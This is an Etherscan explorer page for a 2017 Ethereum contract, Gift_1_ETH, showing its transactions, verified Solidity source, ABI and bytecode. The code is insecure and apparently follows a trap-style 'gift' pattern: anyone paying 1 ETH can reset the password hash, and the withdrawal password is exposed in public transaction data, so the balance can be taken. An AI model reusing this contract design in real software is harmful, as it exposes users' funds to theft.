ETH Price: $3,447.81 (+3.16%)
Gas: 46 Gwei

Contract

0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Get Gift44953862017-11-05 13:52:142308 days ago1509889934IN
0xd8993F49...DC795CBF6
0 ETH0.000220078.9
Get Gift44953792017-11-05 13:50:462308 days ago1509889846IN
0xd8993F49...DC795CBF6
0 ETH0.000220078.9
Get Gift44953752017-11-05 13:50:192308 days ago1509889819IN
0xd8993F49...DC795CBF6
0 ETH0.00022368.9
Set Pass44844672017-11-03 20:04:372310 days ago1509739477IN
0xd8993F49...DC795CBF6
0 ETH0.0002388110
Set Pass44844372017-11-03 19:58:422310 days ago1509739122IN
0xd8993F49...DC795CBF6
1 ETH0.0002388110
Set Pass44531172017-10-29 18:05:312315 days ago1509300331IN
0xd8993F49...DC795CBF6
1 ETH0.000017540.4
0x6060604044530862017-10-29 17:58:532315 days ago1509299933IN
 Create: Gift_1_ETH
0 ETH0.000120470.4

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
45015122017-11-06 13:42:122307 days ago1509975732
0xd8993F49...DC795CBF6
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Gift_1_ETH

Compiler Version
v0.4.19-nightly.2017.10.28+commit.f9b24009

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-10-29
*/

pragma solidity ^0.4.17;

contract Gift_1_ETH
{
    bool passHasBeenSet = false;
    
    function()payable{}
    
    function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);}
    
    bytes32 public hashPass;
    
    function SetPass(bytes32 hash)
    payable
    {
        if(!passHasBeenSet&&(msg.value >= 1 ether))
        {
            hashPass = hash;
        }
    }
    
    function GetGift(bytes pass)
    {
        if(hashPass == sha3(pass))
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function PassHasBeenSet(bytes32 hash)
    {
        if(hash==hashPass)
        {
           passHasBeenSet=true;
        }
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"SetPass","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetGift","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"hash","type":"bytes32"}],"name":"PassHasBeenSet","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"hashPass","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"pass","type":"bytes"}],"name":"GetHash","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

606060405260008060006101000a81548160ff021916908315150217905550341561002957600080fd5b61038e806100386000396000f30060606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100e857806387f244841461010f578063b456ecc514610140575b005b6100896004808035600019169060200190919050506101b9565b005b341561009657600080fd5b6100e6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101f1565b005b34156100f357600080fd5b61010d6004808035600019169060200190919050506102c0565b005b341561011a57600080fd5b6101226102f0565b60405180826000191660001916815260200191505060405180910390f35b341561014b57600080fd5b61019b600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102f6565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101dd5750670de0b6b3a76400003410155b156101ee5780600181600019169055505b50565b806040518082805190602001908083835b6020831015156102275780518252602082019150602081019050602083039250610202565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102bd573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102bc57600080fd5b5b50565b60015460001916816000191614156102ed5760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032e5780518252602082019150602081019050602083039250610309565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a7230582059bf738e33d455f09e5c34bedcca9693fd6a5a0f41eeec6c79caf9f41b1284ca0029

Deployed Bytecode

0x60606040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a6fbb051461006f578063181ffc5f1461008b57806331fd725a146100e857806387f244841461010f578063b456ecc514610140575b005b6100896004808035600019169060200190919050506101b9565b005b341561009657600080fd5b6100e6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101f1565b005b34156100f357600080fd5b61010d6004808035600019169060200190919050506102c0565b005b341561011a57600080fd5b6101226102f0565b60405180826000191660001916815260200191505060405180910390f35b341561014b57600080fd5b61019b600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506102f6565b60405180826000191660001916815260200191505060405180910390f35b6000809054906101000a900460ff161580156101dd5750670de0b6b3a76400003410155b156101ee5780600181600019169055505b50565b806040518082805190602001908083835b6020831015156102275780518252602082019150602081019050602083039250610202565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019166001546000191614156102bd573373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015156102bc57600080fd5b5b50565b60015460001916816000191614156102ed5760016000806101000a81548160ff0219169083151502179055505b50565b60015481565b6000816040518082805190602001908083835b60208310151561032e5780518252602082019150602081019050602083039250610309565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090509190505600a165627a7a7230582059bf738e33d455f09e5c34bedcca9693fd6a5a0f41eeec6c79caf9f41b1284ca0029

Swarm Source

bzzr://59bf738e33d455f09e5c34bedcca9693fd6a5a0f41eeec6c79caf9f41b1284ca

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.